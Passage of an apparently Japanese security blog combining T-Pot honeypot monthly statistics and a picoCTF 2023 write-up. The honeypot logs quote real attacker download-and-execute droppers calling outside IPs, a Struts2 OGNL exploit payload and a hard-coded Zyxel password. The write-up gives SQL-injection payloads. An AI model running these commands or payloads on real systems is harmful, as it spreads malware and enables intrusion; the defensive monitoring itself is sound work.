34 wget http[:]//95[.]214[.]27[.]202/sparc -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/sparc -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/sparc -O-> .i; ./.i ssh.wget.sparc; >.i;
35 wget http[:]//95[.]214[.]27[.]202/x86_64 -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/x86_64 -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/x86_64 -O-> .i; ./.i ssh.wget.x86_64; >.i;


 
+ Apache Struts2 の任意のコードが実行可能な脆弱性(CVE-2017-5638) も観測された。  

No 項目名
1 country_name: United States
2 url: /
3 http_method: POST
4 dest_ip: xxx.xxx.xxx.xxx
5 dest_port: 8080
6 src_ip: 38[.]55[.]129[.]37
7 src_port: 49350
8 input: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo 23492384y97923487').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

今月の作業BGM
曲名 アーティスト 備考
emit ave;new feat.a.k.a.dRESS ---

ハニーポット運用(月次報告:2023年1月)

1.アフラックチューリッヒで発生した情報漏洩について

  • 正月明けの間もない2023年1月9日に「アフラック生命保険株式会社」と「チューリッヒ保険会社」から大規模な情報漏洩が発生したと発表された。
  • 漏洩した規模はアフラックがん保険契約者130万人以上とチューリッヒ保険自動車保険契約者約76万人の個人情報がダークウェブ上に流出したとされる。
  • アフラック社ではがん保険に関連する情報が、チューリッヒ社では自動車保険に関連する情報が含まれていた。
  • 両社の漏洩情報には姓のみが登録されていた。しかし日本のメールアドレス作成時の特徴(姓+名をメールアドレスに含めることが多い、必要に応じてスパム対策用にランダム文字列も含める)と組み合わせた場合に、DB上は姓のみの登録であってもメールアドレスから名前を特定できてしまうのは、脆弱性の一部であると個人的に感じる。

piyolog.hatenadiary.jp

2.CISSPの勉強開始

  • CISSPの受験費用が2023年4月以降に値上がりするようだ。円安傾向もあるので、日本からの受験はさらに厳しくなりそうである。
  • CISSPのオンライン教育を受講してみた。CISSPは昔からセキュリティ業界ではよく取り上げられる資格である。最近は費用対効果を踏まえて独学で資格取得することも多くなっているが、教育を受講できる立場にいるのであれば体系的な教育を受けることもよいだろう。幸運にも会社教育で試験講座の申し込みができた(業務調整ができたわけではないが...)ので、迷わずに教育受講の上で試験に挑むのである。



T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2023年1月1日-2023年1月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Ddospot 871,592 1(→)
2 Honeytrap 471,218 4(↑)
3 Cowrie 360,181 2(↓)
4 Dionaea 246,511 5(↑)
5 Heralding 238,503 3(↓)
6 Ciscoasa 40,050 7(↑)
7 Mailoney 28,207 6(→)
8 Redishoneypot 28,033 11(↑)
9 Adbhoney 20,612 8(↑)
10 Tanner 6,496 9(↑)
11 CitrixHoneypot 3,779 12(↑)
12 ConPot 2,579 10(↓)
13 ElasticPot 1,004 13(→)
14 Ipphoney 217 14(→)
15 Dicompot 104 15(→)
  • Result
    • 先月と同様にDdospotへのアクセスが最多。
    • Honeytrapへのアクセスが先月より増加傾向にあった。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Brazil 707,668 1(→)
2 United States 232,457 3(↑)
3 China 191,935 5(↑)
4 Switzerland 146,768 圏外(↑)
5 Russia 144,731 2(↓)
6 Netherlands 91,473 4(↓)
7 United Kingdom 63,160 10(↑)
8 India 43,850 6(↓)
9 South Korea 34,248 14(↑)
10 Sweden 33,026 16(↑)
11 Thailand 31,738 圏外(↑)
12 Latvia 28,489 19(↑)
13 Iran 25,627 圏外(↑)
14 Hong Kong 24,491 20(↑)
15 Germany 24,015 8(↓)
16 Japan 23,633 7(↓)
17 Vietnam 22,817 11(↓)
18 Indonesia 15,408 17(↓)
19 Taiwan 14,868 圏外(↑)
20 Mexico 14,681 12(↓)
  • Result
    • 全体のアクセス数は先月より減少傾向にあった。
    • アクセス数の比率はブラジル(1位)が先月に引き続き多く、米国(2位)・中国(3位)・スイス(4位)も上位にあった。
    • ロシア(5位)は先月よりアクセス数の順位が各国と比較して、減少していた。



上位10ヵ国のアクセスポートの分布は以下の通り

攻撃元の国名 宛先ポート 件数
1 Brazil 53|694,639
2 Brazil 445|8,181
3 Brazil 123|887
4 Brazil 2323|318
5 Brazil 23|299
6 Brazil 19|244
7 Brazil 5555|185
8 Brazil 22|177
9 Brazil 4505|56
10 Brazil 2941|53
11 United States 123|17,167
12 United States 5900|16,872
13 United States 53|16,196
14 United States 6379|7,175
15 United States 22|5,655
16 United States 445|5,334
17 United States 23|3,909
18 United States 5555|3,754
19 United States 25|3,583
20 United States 3389|1,930
21 China 22|17,679
22 China 445|10,363
23 China 23|7,483
24 China 6379|6,105
25 China 123|4,696
26 China 2121|3,701
27 China 21|3,666
28 China 3389|1,620
29 China 1433|1,602
30 China 2375|1,172
31 Switzerland 5900|145,713
32 Switzerland 123|49
33 Switzerland 81|30
34 Switzerland 23|22
35 Switzerland 80|18
36 Switzerland 4719|11
37 Switzerland 5555|10
38 Switzerland 9010|10
39 Switzerland 56575|7
40 Switzerland 445|5
41 Russia 5900|35,735
42 Russia 445|13,164
43 Russia 22|2,860
44 Russia 123|1,990
45 Russia 6379|1,325
46 Russia 3389|926
47 Russia 23|851
48 Russia 443|790
49 Russia 80|480
50 Russia 25|377
51 Netherlands 5900|31,146
52 Netherlands 123|874
53 Netherlands 445|567
54 Netherlands 19|344
55 Netherlands 81|280
56 Netherlands 23|228
57 Netherlands 3390|203
58 Netherlands 80|170
59 Netherlands 53|166
60 Netherlands 6379|74
61 United Kingdom 25|20,082
62 United Kingdom 5900|6,681
63 United Kingdom 6379|6,630
64 United Kingdom 53|2,124
65 United Kingdom 123|1,758
66 United Kingdom 2323|1,052
67 United Kingdom 8080|466
68 United Kingdom 445|355
69 United Kingdom 9000|303
70 United Kingdom 9001|266
71 India 445|22,307
72 India 22|2,280
73 India 23|599
74 India 123|404
75 India 3391|221
76 India 60023|170
77 India 2323|100
78 India 8080|89
79 India 80|65
80 India 2020|61
81 South Korea 53|12,242
82 South Korea 445|3,459
83 South Korea 123|2,463
84 South Korea 22|1,680
85 South Korea 23|1,064
86 South Korea 5555|740
87 South Korea 2323|639
88 South Korea 80|553
89 South Korea 2222|232
90 South Korea 56575|223
91 Sweden 22|5,630
92 Sweden 80|2,695
93 Sweden 3389|1,884
94 Sweden 5555|365
95 Sweden 123|275
96 Sweden 23|79
97 Sweden 2323|78
98 Sweden 445|54
99 Sweden 37777|44
100 Sweden 53|24

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 734,077
2 CVE-2020-11910 33
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 18
4 CVE-1999-0016 6
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 22,766
2 admin 5,457
3 2,106
4 user 1,558
5 22 1,206
6 sa 989
7 test 681
8 pi 612
9 !root 611
10 2Wire 591
11 ubuntu 554
12 support 553
13 www 550
14 oracle 547
15 postgres 534
16 Admin 477
17 ftp 462
18 guest 436
19 anonymous 397
20 web 372
21 administrator 370
22 db 365
23 wwwroot 364
24 666666 348
25 data 348
26 steam 330
27 $ALOC$ 304
28 adm 304
29 cameras 303
30 ubnt 298
31 0 296
32 unknown 296
33 debug 295
34 blank 292
35 ftpuser 272
36 user123 260
37 www-data 242
38 mysql 234
39 centos 232
40 hadoop 218
41 default 202
42 git 161
43 ec2-user 160
44 esuser 153
45 zyfwp 153
46 vagrant 152
47 factory 139
48 vadmin 136
49 es 135
50 telnet 135
  • Result
    • zyfwp(45位)を新規に確認した。このユーザはCVE-2020-29583の脆弱性に関連する。
    • 台湾のネットワーク機器ベンダーZyxel Networks製のファイアウオールと無線LANアクセスポイント(AP)にて確認された脆弱性であり、機器のファームウェアアップデートに利用する管理者アカウント「zyfwp」がハードコードされており、パスワード(PrOw!aN_fXp)が共通であることから外部からの攻撃を容易にするものと考えられる。

www.tenable.com


⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 3,618
2 3,429
3 123456 2,858
4 1234 1,286
5 root 1,106
6 blank 886
7 password 842
8 12345 814
9 0 805
10 user 692
11 ubnt 504
12 666666 493
13 support 486
14 123 467
15 1 407
16 00000000 389
17 alpine 366
18 hi3518 353
19 Aa123456. 352
20 backup 310
21 cameras 303
22 12345678 301
23 master 301
24 !ishtar 300
25 synnet 294
26 _Cisco 291
27 10023 290
28 unknown 290
29 !qazzaq! 258
30 admin123 244
31 test 221
32 7ujMko0admin 215
33 1234567890 203
34 raspberry 192
35 0000 189
36 pass 179
37 guest 171
38 1234567 165
39 pi 155
40 1qaz2wsx 153
41 123123 148
42 abc123 144
43 factory 138
44 admin1234 137
45 Test1234 124
46 123456789 117
47 system 117
48 ubuntu 114
49 oracle 110
50 p@ssw0rd 109
  • Result
    • 7ujMko0admin(35位)は先月も確認されていた。本パスワードはNessusのプラグインのデフォルトパスワードで利用されており、古くからIoT機器マルウェアであるMiraiにも取り込まれている。

jp.tenable.com jp.tenable.com


⑥今月のmasscanとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 今年こそはCISSPを取得する。
  • 正月早朝から始発でデータセンターから帰宅すると海風が身に染みる。来年は自宅で元旦を迎えたい。


* shファイルとexeファイル関連の問い合わせは以下の通り。

◆shファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 - - "echo -e '\x41\x4b\x34\x37'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://209.141.51.132/telnetsc.sh; busybox wget htt[p]://209.141.51.132/telnetsc.sh; tftp -r telnetsc.sh -g 209.141.51.132; busybox tftp -r telnetsc.sh -g 209.141.51.132; ftpget -v -u anonymous -p anonymous -P 21 209.141.51.132 telnetsc.sh telnetsc.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 209.141.51.132 telnetsc.sh telnetsc.sh; chmod 777 telnetsc.sh; busybox chmod 777 telnetsc.sh; sh telnetsc.sh; rm -rf telnetsc.sh",
2 - - #!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget htt[p]://23.235.171.196:1211/112; curl -O htt[p]://23.235.171.196:1211/112; chmod +x 112; ./112; rm -rf 123.sh; history -c;
3 - - #!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget htt[p]://23.235.171.196:88/112; curl -O htt[p]://23.235.171.196:88/112; chmod +x 112; ./112; rm -rf 123.sh; history -c;
4 - - cat /etc/issue ; cd /tmp; wget htt[p]://107.182.129.239/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
5 - - cat /etc/issue ; cd /tmp; wget htt[p]://193.42.33.214/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
6 - - cat /etc/issue ; cd /tmp; wget htt[p]://195.58.39.18/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
7 - - cat /etc/issue ; cd /tmp; wget htt[p]://195.58.39.207/Fourloko.sh; chmod +x Fourloko.sh; sh Fourloko.sh; rm -rf *,
8 - - cd /data/local/tmp/; busybox wget htt[p]://107.189.5.56/w.sh; sh w.sh; curl htt[p]://107.189.5.56/c.sh; sh c.sh,
9 - - cd /data/local/tmp/; busybox wget htt[p]://107.189.6.164/w.sh; sh w.sh; curl htt[p]://107.189.6.164/c.sh; sh c.sh
10 - - cd /data/local/tmp/; busybox wget htt[p]://185.216.71.65/w.sh; sh w.sh; curl htt[p]://185.216.71.65/c.sh; sh c.sh
11 - - cd /data/local/tmp/; busybox wget htt[p]://193.35.18.198/w.sh; sh w.sh; curl htt[p]://193.35.18.198/c.sh; sh c.sh
12 - - cd /data/local/tmp/; busybox wget htt[p]://195.133.40.152/9x83HE5AFD/w.sh; sh w.sh; curl htt[p]://195.133.40.152/9x83HE5AFD/c.sh; sh c.sh,
13 - - cd /data/local/tmp/; busybox wget htt[p]://45.66.230.47/as.sh; sh as.sh; curl htt[p]://45.66.230.47/az.sh; sh az.sh; wget htt[p]://45.66.230.47/vget.sh; sh vget.sh; curl htt[p]://45.66.230.47/vget.sh; sh vget.sh; busybox wget htt[p]://45.66.230.47/vget.sh; sh vget.sh; busybox curl htt[p]://45.66.230.47/vget.sh; sh vget.sh,
14 - - cd /data/local/tmp/; busybox wget htt[p]://5.206.227.114/w.sh; sh w.sh; curl htt[p]://5.206.227.114/c.sh; sh c.sh,
15 - - cd /data/local/tmp/; busybox wget htt[p]://74.201.28.102/w.sh; sh w.sh; curl htt[p]://74.201.28.102/c.sh; sh c.sh; wget htt[p]://74.201.28.102/wget.sh; sh wget.sh; curl htt[p]://74.201.28.102/wget.sh; sh wget.sh; busybox wget htt[p]://74.201.28.102/wget.sh; sh wget.sh; busybox curl htt[p]://74.201.28.102/wget.sh; sh wget.sh,
16 - - cd /data/local/tmp/; busybox wget htt[p]://77.91.78.211/w.sh; sh w.sh; curl htt[p]://77.91.78.211/c.sh; sh c.sh
17 - - cd /data/local/tmp/; busybox wget htt[p]://78.153.130.141/w.sh; sh w.sh; curl htt[p]://78.153.130.141/c.sh; sh c.sh,
18 - - cd /data/local/tmp/; busybox wget htt[p]://79.137.196.249/w.sh; sh w.sh; curl htt[p]://79.137.196.249/c.sh; sh c.sh,
19 - - cd /data/local/tmp/; busybox wget htt[p]://85.209.134.231/w.sh; sh w.sh; curl htt[p]://85.209.134.231/c.sh; sh c.sh; wget htt[p]://85.209.134.231/wget.sh; sh wget.sh; curl htt[p]://85.209.134.231/wget.sh; sh wget.sh; busybox wget htt[p]://85.209.134.231/wget.sh; sh wget.sh; busybox curl htt[p]://85.209.134.231/wget.sh; sh wget.sh,
20 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://107.189.5.161/w.sh; sh w.sh; curl htt[p]://107.189.5.161/c.sh; sh c.sh
21 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://111.90.143.133/pedalcheta/w.sh; sh w.sh; curl htt[p]://111.90.143.133/pedalcheta/c.sh; sh c.sh,
22 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://111.90.143.133/w.sh; sh w.sh; curl htt[p]://111.90.143.133/c.sh; sh c.sh,
23 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://195.133.40.156/pedalcheta/w.sh; sh w.sh; curl htt[p]://195.133.40.156/pedalcheta/c.sh; sh c.sh,
24 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://195.133.40.29/pedalcheta/w.sh; sh w.sh; curl htt[p]://195.133.40.29/pedalcheta/c.sh; sh c.sh
25 - - cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget htt[p]://98.126.16.166/w.sh; sh w.sh; curl htt[p]://98.126.16.166/c.sh; sh c.sh
26 - - cd /data/local/tmp;wget htt[p]://5.255.105.71/ohsitsvegawellrip.sh; curl -O htt[p]://5.255.105.71/ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh; ./ohsitsvegawellrip.sh,
27 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://5.255.105.240/jack5tr.sh; curl -O htt[p]://5.255.105.240/jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp 5.255.105.240 -c get jack5tr.sh; chmod 777 jack5tr.sh; sh jack5tr.sh; tftp -r jack5tr2.sh -g 5.255.105.240; chmod 777 jack5tr2.sh; sh jack5tr2.sh; ftpget -v -u anonymous -p anonymous -P 21 5.255.105.240 jack5tr1.sh jack5tr1.sh; sh jack5tr1.sh; rm -rf jack5tr.sh jack5tr.sh jack5tr2.sh jack5tr1.sh; rm -rf *,
28 - - cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget htt[p]://5.255.105.240/ohsitsvegawellrip.sh; curl -O htt[p]://5.255.105.240/ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh; sh ohsitsvegawellrip.sh; tftp 5.255.105.240 -c get ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh; sh ohsitsvegawellrip.sh; tftp -r ohsitsvegawellrip2.sh -g 5.255.105.240; chmod 777 ohsitsvegawellrip2.sh; sh ohsitsvegawellrip2.sh; ftpget -v -u anonymous -p anonymous -P 21 5.255.105.240 ohsitsvegawellrip1.sh ohsitsvegawellrip1.sh; sh ohsitsvegawellrip1.sh; rm -rf ohsitsvegawellrip.sh ohsitsvegawellrip.sh ohsitsvegawellrip2.sh ohsitsvegawellrip1.sh; rm -rf *,
29 - - cd /tmp; wget lolxdbins.sh; htt[p]://45.128.234.198/lolxdbins.sh; chmod 777 lolxdbins.sh; ./lolxdbins.sh;
30 - - cd /usr && wget htt[p]://165.3.86.10/install_pre.sh && bash install_pre.sh,
31 - - su -c;cd /data/local/tmp/; busybox wget htt[p]://185.224.128.215/wget.sh -O wget.sh;wget htt[p]://185.224.128.215/wget.sh -O wget.sh; sh wget.sh; curl htt[p]://185.224.128.215/curl.sh > curl.sh; sh c.sh

今月の作業BGM
曲名 アーティスト 備考
Wake Me Up Avicii. ---

picoCTF 2023 - Writeup

March 14-28, 2023 UTCに開催されたpicoCTF 2023 に個人で参加した。 簡単な問題を軸に24/45問解いたので、特に印象的だった3問のWriteupを記載する。

Web

More SQLi



指定されたURLへアクセスするとログイン画面が表示される。



問題文よりSQLインジェクションを疑う。 ユーザ名に適当な文字列、パスワードに ' or 'a'='a' -- を入力するとログインできる。



Search Office画面にもSQLインジェクション脆弱性がある。 ' or true -- を入力すると全ての値が表示される。



HintよりバックエンドDBはSQLiteとあるので、sqlite_masterより情報を確認する。

テーブル名の取得
' union all select tbl_name,2,3 from sqlite_master  -- 



sqlの取得

SQLiteではDB作成時のCREATE文がsqlカラムに記載されており、構造が容易にわかる

' union all select sql,2,3 from sqlite_master  -- 



union句を使ったSQLインジェクションについて復習してみよう。 今回の問題ではoffice TABLEのカラムデータがWebサイト上に表示されている。



確認できたmore_table TABLEのidとflagカラムのデータをWebサイトに表示されているoffice TABLEのカラムに当てはめればよい。(結合先のカラム数が3のため、more_tableの2カラム+適当な数字で3カラムに合わせて当てはめる。)

flagの取得
' union all select id,flag,3 from more_table -- 



General Skills

Special



指定された接続先へアクセスするとUbuntu環境に接続される。

# ssh -p 53015 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)


適当なコマンドを入力しても別の文字に置換されて処理されない

Special$ pwd
Pod 
sh: 1: Pod: not found
Special$ ls
Is 


OSコマンドインジェクションをぼんやり考えながら以下のコマンドを打つと最後のコマンドが処理される。

Special$ a;a;pwd
A;a;pwd 
sh: 1: A: not found
sh: 1: a: not found
/home/ctf-player


catコマンドを使ってファイルを確認する。ホームディレクトリは/home/ctf-playerで配下にblarghフォルダがあるようだ。

Special$ a;a;cat *              
A;a;cat * 
sh: 1: A: not found
sh: 1: a: not found
cat: blargh: Is a directory


blarghフォルダ配下を確認するとflagが確認できる。

Special$ a;a;cat blargh/*
A;a;cat blargh/* 
sh: 1: A: not found
sh: 1: a: not found
picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}


※因みに問題のスクリプトは以下の通り

Special$ a;a;cat ../../challenge/*
A;a;cat ../../challenge/* 
sh: 1: A: not found
sh: 1: a: not found
################################################################################
# Configure a box for the custom ssh example challenge.
################################################################################


import sys
import os
import subprocess
import re
import zlib
import json



def main():

    try:
        # Generate password from seed =========================================
        seed = os.environ.get("SEED")
        
        if seed == "":
            print("Seed was not read from filesystem. Aborting.")
            sys.exit(1)

        password = hex(zlib.crc32(seed.encode()))
        password = password[2:]
        
        # =====================================================================


        # Make new dirs =======================================================
        subprocess.run(
            ["/bin/sh", "-c", "mkdir /home/ctf-player"], check=True
        )
        
        subprocess.run(
            ["/bin/sh", "-c", "mkdir /home/ctf-player/blargh"], check=True
        )

        # =====================================================================



        # Create ctf-player user
        subprocess.run(
            [
                "/usr/sbin/useradd",
                "-U",
                "ctf-player",
                "-d",
                "/home/ctf-player",
                "-s",
                "/usr/local/Special.py",
            ],
            check=True,
        )
        
        # Pipe the output of echo into chpasswd to change password of
        # ctf-user
        pEcho = subprocess.Popen(
            (
                'echo', 
                f'ctf-player:{password}'
            ),
            stdout=subprocess.PIPE
        )
        
        output = subprocess.check_output(('chpasswd'), stdin=pEcho.stdout)
        
        pEcho.wait()
        
        # Make sure ownership is changed to ctf-player
        subprocess.run(
            [
                "/usr/bin/chown",
                "-R",
                "ctf-player:ctf-player",
                "/home/ctf-player/",
            ],
            check=True,
        )
        
        # Copy profile to ctf-player
        #subprocess.run(
        #    [
        #        "/usr/bin/cp",
        #        "/challenge/profile",
        #        "/home/ctf-player/.profile",
        #    ],
        #    check=True,
        #)
        
        
        # =====================================================================


        # Split flag into 3 parts  ============================================
        flag = os.environ.get("FLAG")

        if flag == "":
            print("Flag was not read from environment. Aborting.")
            sys.exit(-1)
        else:
            # Get hash part
            flag_rand = re.search("{.*}$", flag)
            if flag_rand == None:
                print("Flag isn't wrapped by curly braces. Aborting.")
                sys.exit(-2)
            else:
                flag_rand = flag_rand.group()
                flag_rand = flag_rand[1:-1]

        flag = "picoCTF{5p311ch3ck_15_7h3_w0r57_" + flag_rand + "}"
        
        with open("/home/ctf-player/blargh/flag.txt", "w") as f:
            f.write(flag)
            
        # =====================================================================


        # Create and update metadata.json =====================================

        metadata = {}
        metadata['flag'] = str(flag)
        metadata['password'] = str(password)
        json_metadata = json.dumps(metadata)
        
        with open("/challenge/metadata.json", "w") as f:
            f.write(json_metadata)

        # =====================================================================

    except subprocess.CalledProcessError:
        print("A subprocess has returned an error code")
        sys.exit(1)



# =============================================================================


if __name__ == "__main__":
    main()

{"flag": "picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}", "password": "af86add3"}


Special$ a;a;cat ../../../../usr/local/Special.py  
A;a;cat ../../../../usr/local/Special.py 
sh: 1: A: not found
sh: 1: a: not found
#!/usr/bin/python3

import os                                                                                                                         
from spellchecker import SpellChecker                                                                                             
                                                                                                                                  
                                                                                                                                  
                                                                                                                                  
spell = SpellChecker()                                                                                                            
                                                                                                                                  
while True:                                                                                                                       
  cmd = input("Special$ ")
  rval = 0
  
  if cmd == 'exit':
    break
  elif 'sh' in cmd:
    print('Why go back to an inferior shell?')
    continue
  elif cmd[0] == '/':
    print('Absolutely not paths like that, please!')
    continue
    
  # Spellcheck
  spellcheck_cmd = ''
  for word in cmd.split():
    fixed_word = spell.correction(word)
    if fixed_word is None:
      fixed_word = word
    spellcheck_cmd += fixed_word + ' '

  # Capitalize
  fixed_cmd = list(spellcheck_cmd)
  words = spellcheck_cmd.split()
  first_word = words[0]
  first_letter = first_word[0]
  if ord(first_letter) >= 97 and ord(first_letter) <= 122:
    fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
  fixed_cmd = ''.join(fixed_cmd)
  
  try:
    print(fixed_cmd)
    os.system(fixed_cmd)
  except:
    print("Bad command!")



Specialer



指定された接続先へアクセスするとbash環境に接続される。

# ssh -p 64029 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password: 
Specialer$


今度は利用できるコマンドと利用できないコマンドがある。

Specialer$ pwd
/home/ctf-player
Specialer$ 
Specialer$ ls
-bash: ls: command not found
Specialer$  <-----------------------Tabキーを入力してコマンドの保管処理を実施
!          bg         compgen    do         exec       function   kill       pwd        shopt      true       wait
./         bind       complete   done       exit       getopts    let        read       source     type       while
:          break      compopt    echo       export     hash       local      readarray  suspend    typeset    {
[          builtin    continue   elif       false      help       logout     readonly   test       ulimit     }
[[         caller     coproc     else       fc         history    mapfile    return     then       umask      
]]         case       declare    enable     fg         if         popd       select     time       unalias    
alias      cd         dirs       esac       fi         in         printf     set        times      unset      
bash       command    disown     eval       for        jobs       pushd      shift      trap       until      


cdコマンドを使いながら構成を確認すると以下の構成であることが分かる。

root/
 ├ lib/
 ├ lib64/
 ├ home/
 │ └ ctf-player/
 │   ├ .hushlogin 
 │   ├ .profile
 │   ├ abra/ 
 │     │    ├ cadabra.txt
 │     │    └ cadaniel.txt
 │   ├ ala/
 │     │    ├ kazam.txt
 │     │    └ mode.txt
 │   └ sim/
 │          ├ city.txt 
 │          └ salabim.txt 
 └ bin/
    └ bash


利用できるコマンド一覧からwhileコマンドとreadコマンドを利用して読み取りを試みるが、.profile以外は権限不足で何も表示されない。

Specialer$ while read line; do echo "read line:$line"; done < ./.profile
read line:export PS1='Specialer$ '
Specialer$ while read line; do echo "read line:$line"; done < ./.hushlogin 
Specialer$ while read line; do echo "read line:$line"; done < ./abra/cadabra.txt 
Specialer$ while read line; do echo "read line:$line"; done < ./ala/mode.txt 


アプローチを変えて以下コマンドで実行するとテキスト文字列を確認できる。

Specialer$ echo "$(<./abra/cadaniel.txt)"
Yes, I did it! I really did it! I'm a true wizard!
Specialer$ echo "$(<./ala/kazam.txt)"
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_38f5cc78}
Specialer$ echo "$(<./sim/city.txt)"
05ed181c-4aa0-4d4a-8505-2fe6ca9097d3
Specialer$ echo "$(<./sim/salabim.txt)"
#He was so kind, such a gentleman tied to the oceanside#

ハニーポット運用(月次報告:2022年12月)

今月のTopics

1.Holiday Hack Challengeの参加

  • 2022年中旬 ~ 2023年1月6日 に開催された The 2022 SANS Holiday Hack Challenge に参加した。
  • 大和セキュリティ勉強会様に参加して解き方のコツを聞けたこともあり、Endingまでたどり着いた。
  • 念願だったSpecial Swag(パーカー&Tシャツ)も獲得できたので、次はHONABLE MENTIONSを目指す。
  • 提出したレポートは以下の通り。
     github.com

2.Wikipediaへのフィッシングサイト登録

  • JR東日本の「えきねっと」のフィッシングサイトがWikipediaの外部リンク欄に掲載される事案が発生した。

  • 対象サイトのURLはhtt[p]://eki-net.ru のロシアドメインのものであり、Googleでは2022年10月頃には公式サイトよりも上位で検索結果が表示されていた模様だ。

  • 本編集は 2022年10月29日 (土) 13:16地震ソフト監視人氏により追加され、 2022年12月3日 (土) 15:09Kaoru6氏にリンクが削除されるまで約1か月程度掲載されていた。

  • 公式Wikipediaであっても記載されているリンクは疑ってかかる必要があることの良い教訓であった。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2022年12月1日-2022年12月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Ddospot 2,045,784 1,180,929
2 Cowrie 748,647 ▲490,125
3 Heralding 611,633 ▲114,442
4 Honeytrap 513,377 77,109
5 Dionaea 244,849 ▲17,279
6 Mailoney 21,867 ▲17,838
7 Ciscoasa 20,352 14,764
8 Adbhoney 16,656 ▲4,037
9 Tanner 5,195 1,080
10 ConPot 2,614 ▲187
11 Redishoneypot 2,525 159
12 CitrixHoneypot 2,507 ▲3,098
13 ElasticPot 1,489 624
14 Ipphoney 184 0
15 Dicompot 161 85
  • Result
    • 通常時と比較してCiscoasaのアクセスが増加していた。確認すると中国から7/12 0時と7/19 12時にアクセス数が増えていた模様。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Brazil 1,541,966 ↑(2)
2 Russia 576,186 ↓(1)
3 United States 373,553 →(3)
4 Netherlands 204,274 →(4)
5 China 163,325 →(5)
6 India 67,716 ↑(12)
7 Japan 61,256 ↑(8)
8 Germany 58,602 ↑(9)
9 Costa Rica 57,930 ↑(圏外)
10 United Kingdom 57,671 ↑(11)
11 Vietnam 47,781 ↓(10)
12 Mexico 47,576 ↑(圏外)
13 Singapore 42,467 ↑(14)
14 South Korea 34,126 ↑(16)
15 Bangladesh 33,499 ↑(19)
16 Sweden 30,423 ↑(20)
17 Indonesia 30,076 ↑(18)
18 Panama 29,897 ↓(17)
19 Latvia 27,080 ↑(圏外)
20 Hong Kong 22,530 ↑(圏外)
  • Result
    • ブラジル(1位)のアクセス件数が突出して多い傾向にあった。
    • インド(6位)以降は先月と比較して全体的なアクセス件数が2/3減少していた。



上位10ヵ国のアクセスポートの分布は以下の通り

攻撃元の国名 宛先ポート 件数
Brazil 53 1,502,976
Brazil 445 12,477
Brazil 123 2,904
Brazil 22 2,487
Brazil 23 366
Brazil 2323 209
Brazil 5555 110
Brazil 1433 62
Brazil 44323 60
Brazil 19999 53
